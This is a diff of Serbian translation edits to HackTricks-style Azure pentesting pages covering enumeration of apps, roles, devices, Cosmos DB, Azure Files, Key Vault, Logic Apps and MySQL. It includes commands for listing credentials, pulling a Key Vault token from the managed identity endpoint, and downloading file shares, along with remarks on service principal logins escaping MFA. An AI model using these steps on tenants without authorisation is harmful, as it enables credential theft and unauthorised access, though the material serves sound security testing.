- **Dozvole** koje **aplikacija** može imati i koristiti **u ime korisnika**.
|
||||
|
||||
{{#tabs }}
|
||||
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all registered applications
|
||||
Get-AzureADApplication -All $true
|
||||
# Get details of an application
|
||||
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Apps
|
||||
Get-AzADApplication
|
||||
# Get details of one App
|
||||
@@ -657,10 +657,10 @@ Get-AzADAppCredential
|
||||
> Za više informacija [**proverite ovo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom zahteva za token je lozinka aplikacije.\
|
||||
> Tajni niz koji aplikacija koristi da dokaže svoj identitet prilikom traženja tokena je lozinka aplikacije.\
|
||||
> Dakle, ako pronađete ovu **lozinku**, možete pristupiti kao **service principal** **unutar** **tenanta**.\
|
||||
> Imajte na umu da je ova lozinka vidljiva samo kada je generisana (možete je promeniti, ali je ne možete ponovo dobiti).\
|
||||
> **Vlasnik** **aplikacije** može **dodati lozinku** za nju (tako da može da se pretvara da je ona).\
|
||||
> **Vlasnik** **aplikacije** može **dodati lozinku** (tako da može da se pretvara da je ona).\
|
||||
> Prijave kao ovi service principals **nisu označene kao rizične** i **neće imati MFA.**
|
||||
|
||||
Moguće je pronaći listu često korišćenih App ID-ova koji pripadaju Microsoft-u na [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get role assignments on the subscription
|
||||
Get-AzRoleDefinition
|
||||
# Get Role definition
|
||||
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
@@ -747,7 +747,7 @@ Headers = @{
|
||||
|
||||
### Entra ID Uloge
|
||||
|
||||
Za više informacija o Azure ulogama proverite:
|
||||
Za više informacija o Azure ulogama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -801,7 +801,7 @@ az rest --method GET \
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
# Get enabled roles (Assigned roles)
|
||||
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
# List all the active devices (and not the stale devices)
|
||||
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
Get-AzureADMSAdministrativeUnit -Id <id>
|
||||
@@ -890,25 +890,25 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
## Entra ID Eskalacija Privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilege Escalation
|
||||
## Azure Eskalacija Privilegija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Defensive Mechanisms
|
||||
## Odbrambeni Mehanizmi
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
### Upravljanje Privilegovanim Identitetima (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) u Azure-u pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima bez potrebe.
|
||||
Upravljanje Privilegovanim Identitetima (PIM) u Azure pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima bez potrebe.
|
||||
|
||||
Jedna od glavnih funkcija koju PIM pruža je da omogućava da se ne dodeljuju uloge principima koji su konstantno aktivni, već da ih učini **prikladnim na određeni vremenski period (npr. 6 meseci)**. Tada, kada god korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koje mu je potrebno za privilegiju (npr. 3 sata). Tada **administrator mora da odobri** zahtev.\
|
||||
Jedna od glavnih karakteristika koju PIM pruža je da omogućava da se ne dodeljuju uloge principima koji su konstantno aktivni, već da ih učini **prikladnim na određeni vremenski period (npr. 6 meseci)**. Tada, kada korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koliko mu je potrebna privilegija (npr. 3 sata). Tada **administrator mora da odobri** zahtev.\
|
||||
Napomena: korisnik će takođe moći da zatraži da se **prolongira** vreme.
|
||||
|
||||
Pored toga, **PIM šalje emailove** svaki put kada se privilegovana uloga dodeljuje nekome.
|
||||
@@ -923,10 +923,10 @@ Kada je PIM omogućen, moguće je konfigurisati svaku ulogu sa određenim zahtev
|
||||
- Zahteva opravdanje prilikom aktivacije
|
||||
- Zahteva informacije o tiketu prilikom aktivacije
|
||||
- Zahteva odobrenje za aktivaciju
|
||||
- Maksimalno vreme za isteknuće prikladnih dodela 
|
||||
- Maksimalno vreme za isteknuće prikladnih dodela
|
||||
- Puno više konfiguracije o tome kada i kome slati obaveštenja kada se određene radnje dogode sa tom ulogom
|
||||
|
||||
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
|
||||
### Politike Uslovnog Pristupa <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Proverite:
|
||||
|
||||
@@ -934,29 +934,29 @@ Proverite:
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
|
||||
### Entra Zaštita Identiteta <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Entra Identity Protection je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja.
|
||||
Entra Zaštita Identiteta je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja.
|
||||
|
||||
Omogućava administratoru da ga konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako je, po defaultu, potpuno **onemogućen**:
|
||||
Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako je, po defaultu, potpuno **onemogućena**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Danas se preporučuje dodavanje ovih ograničenja putem politika uslovnog pristupa gde je moguće konfigurisati iste opcije.
|
||||
> Danas se preporučuje dodavanje ovih ograničenja putem politika Uslovnog Pristupa gde je moguće konfigurisati iste opcije.
|
||||
|
||||
### Entra Password Protection
|
||||
### Entra Zaštita Lozinki
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja**.\
|
||||
Entra Zaštita Lozinki ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže u sprečavanju zloupotrebe slabih lozinki tako što zaključava naloge kada se dogodi nekoliko neuspešnih pokušaja prijavljivanja**.\
|
||||
Takođe omogućava da se **zabranjuje prilagođena lista lozinki** koju treba da obezbedite.
|
||||
|
||||
Može se **primeniti i** na nivou oblaka i na lokalnom Active Directory-ju.
|
||||
Može se **primeniti i na** nivou oblaka i na lokalnom Active Directory-ju.
|
||||
|
||||
Podrazumevani režim je **Audit**:
|
||||
Podrazumevani režim je **Revizija**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ Azure Cosmos DB pruža više API-ja za baze podataka kako bi modelovao stvarne p
|
||||
Jedan ključni aspekt CosmosDB-a je Azure Cosmos Account. **Azure Cosmos Account** deluje kao ulazna tačka za baze podataka. Račun određuje ključne postavke kao što su globalna distribucija, nivoi konzistentnosti i specifični API koji će se koristiti, kao što je NoSQL. Kroz račun možete konfigurisati globalnu replikaciju kako biste osigurali da su podaci dostupni u više regiona za pristup sa niskom latencijom. Pored toga, možete odabrati nivo konzistentnosti koji balansira između performansi i tačnosti podataka, sa opcijama koje se kreću od jake do eventualne konzistentnosti.
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API je API zasnovan na dokumentima koji koristi JSON kao svoj format podataka. Pruža SQL-sličnu sintaksu upita za upit JSON objekata, što ga čini pogodnim za rad sa strukturiranim i polu-strukturiranim podacima. Krajnja tačka usluge je:
|
||||
Azure Cosmos DB NoSQL API je API zasnovan na dokumentima koji koristi JSON kao svoj format podataka. Pruža SQL-sličnu sintaksu upita za upit JSON objekata, što ga čini pogodnim za rad sa strukturiranim i polustrukturiranim podacima. Krajnja tačka usluge je:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
Unutar naloga, možete kreirati jednu ili više baza podataka, koje služe kao logičke grupe kontejnera. Baza podataka deluje kao granica za upravljanje resursima i korisničkim dozvolama. Baze podataka mogu deliti obezbeđeni protok između svojih kontejnera ili dodeliti posvećeni protok pojedinačnim kontejnerima.
|
||||
|
||||
#### Kontejneri
|
||||
Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisan ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može skladištiti podatke o kupcima, sa "customerId" kao ključem particije.
|
||||
Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisani ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može skladištiti podatke o kupcima, sa "customerId" kao ključem particije.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
U MongoDB-u, možete kreirati jednu ili više baza podataka unutar instance. Svaka baza podataka služi kao logička grupa kolekcija i pruža granicu za organizaciju i upravljanje resursima. Baze podataka pomažu u logičkom razdvajanju i upravljanju podacima, kao što su za različite aplikacije ili projekte.
|
||||
|
||||
#### Kolekcije
|
||||
Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju.
|
||||
Osnovna jedinica skladištenja podataka u MongoDB-u je kolekcija, koja sadrži dokumente i dizajnirana je za efikasno pretraživanje i fleksibilan dizajn šeme. Kolekcije su elastično skalabilne i mogu podržavati operacije sa visokim protokom preko više čvorova u distribuiranom okruženju.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
@@ -278,9 +278,9 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Povezivanje
|
||||
#### Veza
|
||||
|
||||
Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanoj u sekciji privesc.
|
||||
Ovde možete pronaći lozinku pomoću ključeva ili metodom opisanim u sekciji privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**Azure Files** je potpuno upravljana usluga skladištenja datoteka u oblaku koja pruža deljeno skladištenje datoteka dostupno putem standardnih **SMB (Server Message Block)** i **NFS (Network File System)** protokola. Iako je glavni protokol koji se koristi SMB, NFS Azure deljenja datoteka nisu podržana za Windows (prema [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Omogućava vam da kreirate visoko dostupna mrežna deljenja datoteka koja mogu biti istovremeno dostupna više virtuelnih mašina (VM) ili lokalnih sistema, omogućavajući besprekorno deljenje datoteka između okruženja.
|
||||
**Azure Files** je potpuno upravljana usluga skladištenja datoteka u oblaku koja pruža deljeno skladištenje datoteka dostupno putem standardnih **SMB (Server Message Block)** i **NFS (Network File System)** protokola. Iako je glavni korišćeni protokol SMB, NFS Azure deljenja datoteka nisu podržana za Windows (prema [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Omogućava vam da kreirate visoko dostupna mrežna deljenja datoteka koja mogu biti istovremeno dostupna više virtuelnih mašina (VM) ili lokalnih sistema, omogućavajući besprekornu razmenu datoteka između okruženja.
|
||||
|
||||
### Pristupni Nivoi
|
||||
### Tiers pristupa
|
||||
|
||||
- **Optimizovano za transakcije**: Optimizovano za operacije sa velikim brojem transakcija.
|
||||
- **Vruće**: Između transakcija i skladištenja.
|
||||
- **Hladno**: Ekonomično za skladištenje.
|
||||
- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i intenzivnim IOPS.
|
||||
- **Premium:** Skladištenje datoteka visokih performansi optimizovano za radne opterećenja sa niskom latencijom i IOPS-intenzivnim zadacima.
|
||||
|
||||
### Bekap
|
||||
|
||||
@@ -21,12 +21,12 @@
|
||||
- **Godišnji bekap**: Tačka bekapa se kreira svake godine u naznačen dan i vreme (npr. prva nedelja u januaru u 19.30) i čuva se od 1 do 10 godina.
|
||||
- Takođe je moguće izvršiti **ručne bekape i snimke u bilo kojem trenutku**. Bekap i snimci su zapravo isto u ovom kontekstu.
|
||||
|
||||
### Podržane Autentifikacije putem SMB
|
||||
### Podržane autentifikacije putem SMB
|
||||
|
||||
- **Autentifikacija putem on-premises AD DS**: Koristi on-premises Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa on-premises AD DS.
|
||||
- **Autentifikacija putem Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaku zasnovan AD) za pružanje pristupa koristeći Microsoft Entra akreditive.
|
||||
- **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez potrebe za povezivanjem sa on-premises kontrolerima domena. Ali ne podržava identitete koji su samo u oblaku.
|
||||
- **AD Kerberos Autentifikacija za Linux Klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem on-premises AD DS ili Microsoft Entra Domain Services.
|
||||
- **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez zahteva za povezivanjem sa on-premises domen kontrolerima. Ali ne podržava identitete koji su isključivo u oblaku.
|
||||
- **AD Kerberos autentifikacija za Linux klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem on-premises AD DS ili Microsoft Entra Domain Services.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
Get-AzStorageAccount
|
||||
|
||||
# List File Shares
|
||||
@@ -80,7 +80,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID glavnog korisnika, koristite parametre `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID principal, koristite parametre `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Koristite parametar `--account-key` da naznačite ključ naloga koji će se koristiti\
|
||||
@@ -94,7 +94,7 @@ Morate zameniti `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` i `<FILE-SHARE-NAME>` mesta.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
```powershell
|
||||
```bash
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Azure Key Vault** je cloud usluga koju pruža Microsoft Azure za sigurno čuvanje i upravljanje osetljivim informacijama kao što su **tajne, ključevi, sertifikati i lozinke**. Deluje kao centralizovani repozitorijum, nudeći siguran pristup i preciznu kontrolu koristeći Azure Active Directory (Azure AD). Sa bezbednosnog aspekta, Key Vault pruža **zaštitu hardverskog sigurnosnog modula (HSM)** za kriptografske ključeve, osigurava da su tajne enkriptovane kako u mirovanju, tako i u prenosu, i nudi robusno upravljanje pristupom putem **kontrole pristupa zasnovane na rolama (RBAC)** i politika. Takođe sadrži **evidenciju revizije**, integraciju sa Azure Monitor-om za praćenje pristupa, i automatsku rotaciju ključeva kako bi se smanjio rizik od dugotrajne izloženosti ključeva.
|
||||
**Azure Key Vault** je cloud usluga koju pruža Microsoft Azure za sigurno čuvanje i upravljanje osetljivim informacijama kao što su **tajne, ključevi, sertifikati i lozinke**. Deluje kao centralizovani repozitorijum, nudeći siguran pristup i preciznu kontrolu koristeći Azure Active Directory (Azure AD). Sa bezbednosnog aspekta, Key Vault pruža **zaštitu hardverskog sigurnosnog modula (HSM)** za kriptografske ključeve, osigurava da su tajne šifrovane kako u mirovanju, tako i u prenosu, i nudi robusno upravljanje pristupom putem **kontrole pristupa zasnovane na ulogama (RBAC)** i politika. Takođe sadrži **evidenciju revizije**, integraciju sa Azure Monitor za praćenje pristupa, i automatsku rotaciju ključeva kako bi se smanjio rizik od dugotrajne izloženosti ključeva.
|
||||
|
||||
Pogledajte [Azure Key Vault REST API pregled](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) za potpune detalje.
|
||||
Pogledajte [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) za potpune detalje.
|
||||
|
||||
Prema [**dokumentaciji**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vault-ovi podržavaju čuvanje softverskih i HSM-podržanih ključeva, tajni i sertifikata. Upravljani HSM bazeni podržavaju samo HSM-podržane ključeve.
|
||||
Prema [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), Vaults podržavaju čuvanje softverskih i HSM-podržanih ključeva, tajni i sertifikata. Upravljani HSM bazeni podržavaju samo HSM-podržane ključeve.
|
||||
|
||||
**URL format** za **vault-ove** je `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` a za upravljane HSM bazene je: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
**URL format** za **vaults** je `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` a za upravljane HSM bazene je: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||
|
||||
Gde:
|
||||
|
||||
@@ -30,7 +30,7 @@ Da bi se pristupilo tajnama pohranjenim u vault-u, moguće je izabrati između 2
|
||||
Pristup resursu Key Vault-a kontroliše se kroz dva plana:
|
||||
|
||||
- **plan upravljanja**, čija je meta [management.azure.com](http://management.azure.com/).
|
||||
- Koristi se za upravljanje key vault-om i **politikama pristupa**. Samo Azure kontrola pristupa zasnovana na rolama (**RBAC**) je podržana.
|
||||
- Koristi se za upravljanje key vault-om i **politikama pristupa**. Samo Azure kontrola pristupa zasnovana na ulogama (**RBAC**) je podržana.
|
||||
- **plan podataka**, čija je meta **`<vault-name>.vault.azure.com`**.
|
||||
- Koristi se za upravljanje i pristup **podacima** (ključevi, tajne i sertifikati) **u key vault-u**. Ovo podržava **politike pristupa key vault-u** ili Azure **RBAC**.
|
||||
|
||||
@@ -42,7 +42,7 @@ Uloga kao što je **Contributor** koja ima dozvole u planu upravljanja za upravl
|
||||
|
||||
### Mrežni pristup
|
||||
|
||||
U Azure Key Vault-u, **firewall** pravila mogu biti postavljena da **dozvole operacije na planu podataka samo iz određenih virtuelnih mreža ili IPv4 opsega adresa**. Ova ograničenja takođe utiču na pristup putem Azure administrativnog portala; korisnici neće moći da listaju ključeve, tajne ili sertifikate u key vault-u ako njihova IP adresa nije unutar autorizovanog opsega.
|
||||
U Azure Key Vault-u, **firewall** pravila mogu biti postavljena da **dozvole operacije na planu podataka samo sa određenih virtuelnih mreža ili IPv4 opsega adresa**. Ova ograničenja takođe utiču na pristup putem Azure administrativnog portala; korisnici neće moći da listaju ključeve, tajne ili sertifikate u key vault-u ako njihova IP adresa nije unutar autorizovanog opsega.
|
||||
|
||||
Za analizu i upravljanje ovim podešavanjima, možete koristiti **Azure CLI**:
|
||||
```bash
|
||||
@@ -56,7 +56,7 @@ Pored toga, moguće je kreirati **privatni endpoint** kako bi se omogućila priv
|
||||
|
||||
Kada se kreira key vault, minimalan broj dana koji se dozvoljava za brisanje je 7. Što znači da kada god pokušate da obrišete taj key vault, biće potrebno **najmanje 7 dana da bude obrisan**.
|
||||
|
||||
Međutim, moguće je kreirati vault sa **onemogućenim zaštitom od brisanja**, što omogućava brisanje key vault-a i objekata tokom perioda zadržavanja. Ipak, jednom kada je ova zaštita omogućena za vault, ne može se onemogućiti.
|
||||
Međutim, moguće je kreirati vault sa **onemogućenim zaštitom od brisanja**, što omogućava brisanje key vault-a i objekata tokom perioda zadržavanja. Ipak, kada se ova zaštita omogući za vault, ne može se onemogućiti.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get keyvault token
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
## Osnovne Informacije
|
||||
|
||||
Azure Logic Apps je usluga zasnovana na oblaku koju pruža Microsoft Azure koja omogućava programerima da **kreiraju i pokreću radne tokove koji integrišu različite usluge**, izvore podataka i aplikacije. Ovi radni tokovi su dizajnirani da **automatizuju poslovne procese**, orkestriraju zadatke i obavljaju integracije podataka između različitih platformi.
|
||||
|
||||
@@ -10,8 +10,8 @@ Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spe
|
||||
|
||||
### Primeri
|
||||
|
||||
- **Automatizacija podataka**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih tokova podataka koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji.
|
||||
- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem vođenih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function-a kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka.
|
||||
- **Automatizacija Podatkovnih Tokova**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji.
|
||||
- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function-a kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka.
|
||||
|
||||
### Vizualizacija LogicAPP-a
|
||||
|
||||
@@ -21,7 +21,7 @@ Moguće je prikazati LogicApp sa grafikom:
|
||||
|
||||
ili proveriti kod u sekciji "**Logic app code view**".
|
||||
|
||||
### SSRF zaštita
|
||||
### SSRF Zaštita
|
||||
|
||||
Čak i ako pronađete da je **Logic App ranjiv na SSRF**, nećete moći da pristupite kredencijalima iz metapodataka jer Logic Apps to ne dozvoljava.
|
||||
|
||||
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
|
||||
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
@@ -131,14 +131,14 @@ az mysql flexible-server execute \
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ili sa MySQL nativnim ekstenzijskim pluginom
|
||||
Ili sa MySQL native extension plugin-om
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Takođe možete izvršavati upite sa github-om, ali su potrebni i lozinka i korisničko ime. Morate postaviti sql datoteku sa upitom koji želite da izvršite, a zatim:
|
||||
Takođe možete izvršavati upite sa github-om, ali su potrebni i lozinka i korisničko ime. Morate postaviti sql datoteku sa upitom koji treba izvršiti, a zatim:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Setup
|
||||
@@ -166,7 +166,7 @@ az mysql flexible-server deploy run \
|
||||
